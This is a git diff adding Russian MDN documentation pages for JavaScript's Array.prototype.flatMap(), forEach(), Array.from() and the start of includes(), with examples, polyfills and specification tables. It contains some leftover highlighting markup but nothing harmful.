+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>Индекс обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Массив по которому осуществляется обход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>Значение используемое в качестве <code>this</code> при вызове функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый массив, каждый элемент которого является результатом выполнения функции callback и "поднят" на уровень 1.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Смотрите {{jsxref("Array.prototype.map()")}} для детального описания callback функции. Метод <code>flatMap</code> идентичен методу<span style="letter-spacing: -0.00333rem;"> </span><code style="letter-spacing: -0.00333rem;"><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code><span style="letter-spacing: -0.00333rem;"> с последующим вызовом</span><span style="letter-spacing: -0.00333rem;"> </span><code style="letter-spacing: -0.00333rem;"><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a></code><span style="letter-spacing: -0.00333rem;"> с параметром depth 1.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="map_и_flatMap"><code>map</code> и <code>flatMap</code></h3>
+
+<pre class="brush: js">let arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+
+arr1.map(</span></span></span></span></span>x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// [2, 4, 6, 8]</span></span></span></span></span>
+
+// выравнивается только один уровень
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<p>Хотя результат полученый в примере выше можно было получить используя просто map, ниже мы рассмотрим пример где <code>flatMap</code> является более эффективным.</p>
+
+<p>Давайте сгенерируем список слов из списка предложений.</p>
+
+<pre class="brush: js">let arr1 = ["it's Sunny in", "", "California"];
+
+arr1.map(x =&gt; x.split(" "));
+// [["it's","Sunny","in"],[""],["California"]]
+
+arr1.flatMap(x =&gt; x.split(" ")<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// ["it's","Sunny","in", "", "California"]</span></span></span></span></span></pre>
+
+<p>Обратите внимание, длина списка вывода может отличаться от длины списка ввода.</p>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="Альтернативное_решение">Альтернативное решение</h2>
+
+<h3 id="reduce_and_concat"><code>reduce</code> and <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+</span></span></span></span></span>
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// is equivalent to
+arr1.reduce((acc, x) =&gt; acc.concat([x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>), []);</span></span></span></span></span>
+<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>// [2, 4, 6, 8]</span></span></span></span></span>
+</pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.flatmap', 'Array.prototype.flatMap')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица поддержки браузерами сгенерированна из представленных данных. Если вы хотите улучшить эти данные, пожалуйста преверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите на PR ( pull request ) с исправлениями.</div>
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+</div>
+
+<h2 id="См_так_же">См так же:</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flat()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
new file mode 100644
index 0000000000..3787dc7e84
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
@@ -0,0 +1,388 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - forEach
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<p>Метод <code><strong>forEach()</strong></code> выполняет указанную функцию один раз для каждого элемента в массиве.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в GitHub. Если вы хотите внести вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples"> https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><var>arr</var>.forEach(function <var>callback(currentValue, index, array) {
+    //your iterator
+}</var>[, <var>thisArg</var>]);</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трех аргументов:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>Текущий обрабатываемый элемент в массиве.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Необязательный параметр. Значение, используемое в качестве <code>this</code> при вызове функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>forEach()</code> выполняет функцию <code>callback</code> один раз для каждого элемента, находящегося в массиве в порядке возрастания. Она не будет вызвана для удалённых или пропущенных элементов массива. Однако, она будет вызвана для элементов, которые присутствуют в массиве и имеют значение {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Функция <code>callback</code> будет вызвана с <strong>тремя аргументами</strong>:</p>
+
+<ul>
+ <li>значение элемента (<strong>value</strong>)</li>
+ <li>индекс элемента (<strong>index</strong>)</li>
+ <li>массив, по которому осуществляется проход (<strong>array</strong>)</li>
+</ul>
+
+<p>Если в метод <code>forEach()</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае, в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}. В конечном итоге, значение <code>this</code>, наблюдаемое из функции <code>callback</code>, определяется согласно {{jsxref('Operators/this', 'обычным правилам определения <code>this</code>, видимого из функции')}}.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>forEach()</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>forEach()</code>, не будут посещены функцией <code>callback</code>. Если существующие элементы массива изменятся, значения, переданные в функцию <code>callback</code>, будут значениями на тот момент времени, когда метод <code>forEach()</code> посетит их; удалённые элементы посещены не будут. Если уже посещённые элементы удаляются во время итерации (например, с помощью {{jsxref("Array.prototype.shift()", "shift()")}}), последующие элементы будут пропущены. ({{jsxref('Global_Objects/Array/forEach', 'Смотри пример ниже', 'Модификация_массива_во_время_итерации')}})</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Не существует способа остановить или прервать цикл <code>forEach()</code> кроме как выбрасыванием исключения. Если вам необходимо такое поведение, метод <code>forEach()</code> неправильный выбор.</p>
+
+<p>Досрочное прекращение может быть достигнуто с:</p>
+
+<ul>
+ <li>Простой цикл {{jsxref('Statements/for', 'for')}}</li>
+ <li>Циклы {{jsxref('Statements/for...of', 'for...of')}} / {{jsxref('Statements/for...in', 'for...in')}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
+
+<p>Если нужно протестировать элементы массива на условие и нужно вернуть булево значение, вы можете воспользоваться методами {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}} или {{jsxref("Array.prototype.findIndex()", "findIndex()")}}.</p>
+
+<p>Метод <code>forEach()</code> выполняет функцию <code>callback</code> один раз для каждого элемента массива; в отличие от методов {{jsxref("Array.prototype.every()", "every()")}} и {{jsxref("Array.prototype.some()", "some()")}}, он всегда возвращает значение {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="sparseArray" name="sparseArray">Нет операции для неинициализированных значений (разреженные массивы)</h3>
+
+<pre class="brush: js">const arraySparse = [1,3,,7]
+let numCallbackRuns = 0
+
+arraySparse.forEach((element) =&gt; {
+  console.log(element)
+  numCallbackRuns++
+})
+
+console.log("numCallbackRuns: ", numCallbackRuns)
+
+// 1
+// 3
+// 7
+// numCallbackRuns: 3
+// комментарий: как вы видите пропущенное значение между 3 и 7 не вызывало функцию callback.</pre>
+
+<h3 id="Конвертируем_цикл_for_в_forEach">Конвертируем цикл for в forEach</h3>
+
+<pre class="brush:js">const items = ['item1', 'item2', 'item3']
+const copy = []
+
+// до
+for (let i = 0; i &lt; items.length; i++) {
+  copy.push(items[i])
+}
+
+// после
+items.forEach(function(item){
+  copy.push(item)
+})
+</pre>
+
+<h3 id="Printing_the_contents_of_an_array" name="Printing_the_contents_of_an_array">Печать содержимого массива</h3>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Для отображения содержимого массива в консоли вы можете использовать <a href="/ru/docs/Web/API/Console/table" title="Отображает табличные данные в виде таблицы"><code>console.table()</code></a>, который выводит отформатированную версию массива.</p>
+
+<p>Следующий пример иллюстрирует альтернативный подход, использующий <code>forEach()</code>.</p>
+</div>
+
+<p>Следующий код выводит каждый элемент массива на новой строке журнала:</p>
+
+<pre class="brush: js">function logArrayElements(element, index, array) {
+  console.log('a[' + index + '] = ' + element);
+}
+
+// Обратите внимание на пропуск по индексу 2, там нет элемента, поэтому он не посещается
+[2, 5, , 9].forEach(logArrayElements);
+// логи:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+</pre>
+
+<h3 id="Использование_thisArg">Использование <code><var>thisArg</var></code></h3>
+
+<p>Следующий (надуманный) пример обновляет свойства объекта, когда перебирает записи массива:</p>
+
+<pre class="brush:js">function Counter() {
+  this.sum = 0
+  this.count = 0
+}
+Counter.prototype.add = function(array) {
+  array.forEach((entry) =&gt; {
+    this.sum += entry
+    ++this.count
+  }, this)
+  // ^---- Note
+}
+
+const obj = new Counter()
+obj.add([2, 5, 9])
+obj.count
+// 3
+obj.sum
+// 16
+</pre>
+
+<p>Поскольку в <code>forEach()</code>передан параметр <code><var>thisArg</var></code> (<code>this</code>), он затем передаётся в <code><var>callback</var></code> при каждом вызове. И callback использует его в качестве собственного значения <code>this</code>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если при передаче callback функции используется {{jsxref('Functions/Arrow_functions', 'выражение стрелочной функции')}}, параметр <code><var>thisArg</var></code> может быть опущен, так как все стрелочные функции лексически привязываются к значению{{jsxref("Operators/this", "this")}}.</p>
+</div>
+
+<h3 id="Breaking_a_loop" name="Breaking_a_loop">Прерывание цикла</h3>
+
+<p>Следующий код использует {{jsxref("Array.prototype.every()")}} для логирования содержимого массива и останавливается при превышении значением заданного порогового значения <code>THRESHOLD</code>.</p>
+
+<pre class="brush: js">var THRESHOLD = 12;
+var v = [5, 2, 16, 4, 3, 18, 20];
+var res;
+
+res = v.every(function(element, index, array) {
+  console.log('element:', element);
+  if (element &gt;= THRESHOLD) {
+    return false;
+  }
+
+  return true;
+});
+console.log('res:', res);
+// логи:
+// element: 5
+// element: 2
+// element: 16
+// res: false
+
+res = v.some(function(element, index, array) {
+  console.log('element:', element);
+  if (element &gt;= THRESHOLD) {
+    return true;
+  }
+
+  return false;
+});
+console.log('res:', res);
+// логи:
+// element: 5
+// element: 2
+// element: 16
+// res: true
+</pre>
+
+<h3 id="An_object_copy_function" name="An_object_copy_function">Функция копирования объекта</h3>
+
+<p>Следующий код создаёт копию переданного объекта. Существует несколько способов создания копии объекта, и это один из них. Он позволяет понять, каким образом работает <code>Array.prototype.forEach()</code>, используя функции мета-свойств <code>Object.*</code> из ECMAScript 5.</p>
+
+<pre class="brush: js">function copy(o) {
+  var copy = Object.create(Object.getPrototypeOf(o));
+  var propNames = Object.getOwnPropertyNames(o);
+
+  propNames.forEach(function(name) {
+    var desc = Object.getOwnPropertyDescriptor(o, name);
+    Object.defineProperty(copy, name, desc);
+  });
+
+  return copy;
+}
+
+var o1 = { a: 1, b: 2 };
+var o2 = copy(o1); // теперь o2 выглядит также, как и o1
+</pre>
+
+<h3 id="Модификация_массива_во_время_итерации">Модификация массива во время итерации</h3>
+
+<p>В следующем примере в лог выводится <code>"one"</code>, <code>"two"</code>, <code>"four"</code>.</p>
+
+<p>При достижении записи, содержащей значение <code>'two'</code>, первая запись всего массива удаляется, в результате чего все оставшиеся записи перемещаются на одну позицию вверх. Поскольку элемент <code>'four'</code> теперь находится на более ранней позиции в массиве, <code>'three'</code> будет пропущен.</p>
+
+<p><code>forEach()</code> не делает копию массива перед итерацией.</p>
+
+<pre class="brush:js">let words = ['one', 'two', 'three', 'four']
+words.forEach((word) =&gt; {
+  console.log(word)
+  if (word === 'two') {
+    words.shift()
+  }
+})
+// one
+// two
+// four
+</pre>
+
+<h3 id="Выравнивание_уплощение_массива">Выравнивание (уплощение) массива</h3>
+
+<p>Следующий пример приведен только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}</p>
+
+<pre class="brush: js">function flatten(arr) {
+  const result = []
+
+  arr.forEach((i) =&gt; {
+    if (Array.isArray(i)) {
+      result.push(...flatten(i))
+    } else {
+      result.push(i)
+    }
+  })
+
+  return result
+}
+
+// Usage
+const nested = [1, 2, 3, [4, 5, [6, 7], 8, 9]]
+
+flatten(nested) // [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>forEach()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>forEach()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Object")}} и {{jsxref("TypeError")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.18
+// Ссылка (en): http://es5.github.io/#x15.4.4.18
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.18
+if (!Array.prototype.forEach) {
+
+  Array.prototype.forEach = function (callback, thisArg) {
+
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError(' this is null or not defined');
+    }
+
+    // 1. Положим O равным результату вызова ToObject passing the |this| value as the argument.
+    var O = Object(this);
+
+    // 2. Положим lenValue равным результату вызова внутреннего метода Get объекта O с аргументом "length".
+    // 3. Положим len равным ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Если IsCallable(callback) равен false, выкинем исключение TypeError.
+    // Смотрите: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+        throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. Если thisArg присутствует, положим T равным thisArg; иначе положим T равным undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Положим k равным 0
+    k = 0;
+
+    // 7. Пока k &lt; len, будем повторять
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Положим Pk равным ToString(k).
+      //   Это неявное преобразование для левостороннего операнда в операторе in
+      // b. Положим kPresent равным результату вызова внутреннего метода HasProperty объекта O с аргументом Pk.
+      //   Этот шаг может быть объединён с шагом c
+      // c. Если kPresent равен true, то
+      if (k in O) {
+
+        // i. Положим kValue равным результату вызова внутреннего метода Get объекта O с аргументом Pk.
+        kValue = O[k];
+
+        // ii. Вызовем внутренний метод Call функции callback с объектом T в качестве значения this и
+        // списком аргументов, содержащим kValue, k и O.
+        callback.call(T, kValue, k, O);
+      }
+      // d. Увеличим k на 1.
+      k++;
+    }
+    // 8. Вернём undefined.
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/from/index.html b/files/ru/web/javascript/reference/global_objects/array/from/index.html
new file mode 100644
index 0000000000..f373749ec7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/from/index.html
@@ -0,0 +1,216 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Global_Objects/Array/from
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Array.from()</strong></code> создаёт новый экземпляр <code>Array</code> из массивоподобного или итерируемого объекта.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-from.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Array.from(<var>arrayLike</var>[, <var>mapFn</var>[, <var>thisArg</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>Массивоподобный или итерируемый объект, преобразуемый в массив.</dd>
+ <dt><code>mapFn</code> {{Optional_inline}}</dt>
+ <dd>Отображающая функция, вызываемая для каждого элемента массива.</dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd>Значение, используемое в качестве <code>this</code> при выполнении функции <code>mapFn</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый экземпляр {{jsxref("Array")}}</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>Array.from()</code> позволяет вам создавать массивы из:</p>
+
+<ul>
+ <li>массивоподобных объектов (объектов со свойством <code>length</code> и элементами по индексным ключам) или</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols">итерируемых объектов</a> (объектов, из которых вы можете достать их элементы, например {{jsxref("Map")}} или {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from()</code> имеет необязательный параметр <code>mapFn</code>, который позволяет вам выполнять функцию {{jsxref("Array.prototype.map", "map")}} для каждого элемента создаваемого массива (или его подкласса). Проще говоря, вызов <code>Array.from(obj, mapFn, thisArg)</code> эквивалентен цепочке <code>Array.from(obj).map(mapFn, thisArg)</code>, за исключением того, что он не создаёт промежуточного массива. Это особенно важно для некоторых подклассов массива, вроде <a href="/ru/docs/Web/JavaScript/Typed_arrays">типизированных массивов</a>, поскольку промежуточный массив неизбежно приведёт к усечению значений, чтобы они подпали под подходящий тип.</p>
+
+<p>Свойство <code>length</code> метода <code>from()</code> равно 1.</p>
+
+<p>В ES2015 классовый синтаксис позволяет создавать подклассы как встроенных классов, так и классов, определённых пользователем; в результате статические методы класса, вроде <code>Array.from</code> «наследуются» подклассами {{jsxref("Global_Objects/Array", "Array")}} и создают новые экземпляры подкласса, а не класса {{jsxref("Global_Objects/Array", "Array")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Массив_из_строки_String">Массив из строки <code>String</code></h3>
+
+<pre class="brush: js">Array.from('foo');
+// ['f', 'o', 'o']
+</pre>
+
+<h3 id="Массив_из_Set">Массив из <code>Set</code></h3>
+
+<pre class="brush: js">var s = new Set(['foo', window]);
+Array.from(s);
+// ['foo', window]
+</pre>
+
+<h3 id="Массив_из_Map">Массив из <code>Map</code></h3>
+
+<pre class="brush: js">var m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+</pre>
+
+<h3 id="Массив_из_массивоподобного_объекта_(arguments)">Массив из массивоподобного объекта (arguments)</h3>
+
+<pre class="brush: js">function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+// [1, 2, 3]
+</pre>
+
+<h3 id="Использование_стрелочной_функции_и_Array.from()">Использование стрелочной функции и <code>Array.from()</code></h3>
+
+<pre class="brush: js">// Использование стрелочной функции в качестве функции отображения для
+
+// манипулирования элементами
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+// Генерирования последовательности чисел
+Array.from({ length: 5 }, (v, k) =&gt; k);
+// [0, 1, 2, 3, 4]</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>Array.from</code> был добавлен к стандарту ECMA-262 в 6-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>Array.from</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 6-го издания; он предполагает, что {{jsxref("Global_Objects/Object", "Object")}} и {{jsxref("Global_Objects/TypeError", "TypeError")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call")}}. Кроме того, поскольку истинные итерируемые объекты не могут быть заменены полифиллом, эта реализация не поддерживает общие итерируемые объекты, как они определены в 6-м издании ECMA-262.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 6-е издание, 22.1.2.1
+// Ссылка: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
+if (!Array.from) {
+  Array.from = (function() {
+    var toStr = Object.prototype.toString;
+    var isCallable = function(fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // Свойство length метода from равно 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Положим C равным значению this.
+      var C = this;
+
+      // 2. Положим items равным ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. ReturnIfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError('Array.from requires an array-like object - not null or undefined');
+      }
+
+      // 4. Если mapfn равен undefined, положим mapping равным false.
+      var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. иначе
+        // 5. a. Если вызов IsCallable(mapfn) равен false, выкидываем исключение TypeError.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: when provided, the second argument must be a function');
+        }
+
+        // 5. b. Если thisArg присутствует, положим T равным thisArg; иначе положим T равным undefined.
+        if (arguments.length &gt; 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Положим lenValue равным Get(items, "length").
+      // 11. Положим len равным ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. Если IsConstructor(C) равен true, то
+      // 13. a. Положим A равным результату вызова внутреннего метода [[Construct]]
+      //     объекта C со списком аргументов, содержащим единственный элемент len.
+      // 14. a. Иначе, положим A равным ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Положим k равным 0.
+      var k = 0;
+      // 17. Пока k &lt; len, будем повторять... (шаги с a по h)
+      var kValue;
+      while (k &lt; len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Положим putStatus равным Put(A, "length", len, true).
+      A.length = len;
+      // 20. Вернём A.
+      return A;
+    };
+  }());
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Array.from")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/includes/index.html b/files/ru/web/javascript/reference/global_objects/array/includes/index.html
new file mode 100644
index 0000000000..61bbdf1620
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/includes/index.html
@@ -0,0 +1,171 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/Array/includes
+tags:
+  - JavaScript
+  - Prototype
+  - Reference
+  - polyfill
+  - Массив
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>includes()</strong></code> определяет, содержит ли массив определённый элемент, возвращая в зависимости от этого <code>true</code> или <code>false</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>arr</var>.includes(<var>searchElement[</var>, <var>fromIndex = 0]</var>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
